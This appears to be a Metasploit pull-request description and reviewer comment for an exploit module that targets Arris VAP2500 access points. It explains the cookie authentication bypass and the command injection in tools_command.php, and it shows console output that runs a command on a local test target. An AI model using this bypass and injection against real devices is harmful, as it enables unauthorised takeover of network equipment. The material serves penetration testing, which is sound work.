Add module for Arris VAP2500 Remote Command Execution

This module is for exploiting vulnerable Arris VAP2500 access points using CVE-2014-8423 and CVE-2014-8424. The vulns in question are both in the web mgmt portal of the device: an auth bypass via setting a cookie p=md5(username) and a command injection in the tools_command.php page. The module makes an initial GET request using the cookie auth bypass and checks the result for the purposes of verifying vulnerability. If vulnerable, it makes a subsequent POST request setting the cmb_header param to '' and the txt_command param to the value of CMD specified in the module options. This can be verified against VAP2500 devices running firmware < 08.41 (which I can provide if needed) or by running the vulnerable version of the web mgmt portal in a standalone fashion from an extracted firmware image.

Example console output:
```
msf exploit(vap2500_tools_command_exec) > show options

Module options (exploit/linux/http/vap2500_tools_command_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    127.0.0.1        yes       The target address
   RPORT    80               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(vap2500_tools_command_exec) > set CMD whoami
CMD => whoami
msf exploit(vap2500_tools_command_exec) > exploit

[*] 127.0.0.1:80 - Trying to access the device ...
[*] 127.0.0.1:80 - Exploiting...
[+] 127.0.0.1:80 - Command sent successfully
msf exploit(vap2500_tools_command_exec) >
```
All the ARCH_CMD unix payloads are compatible with this exploit? Since it's an embedded device, worths to make a list of compatible payloads, having into account the commands available in the target device. You can use the 'Compat' hash to provide the 'PayloadType' and 'RequiredCmd' options. There are several modules in the framework using this hash. For example: modules/exploits/linux/http/centreon_sqli_exec.rb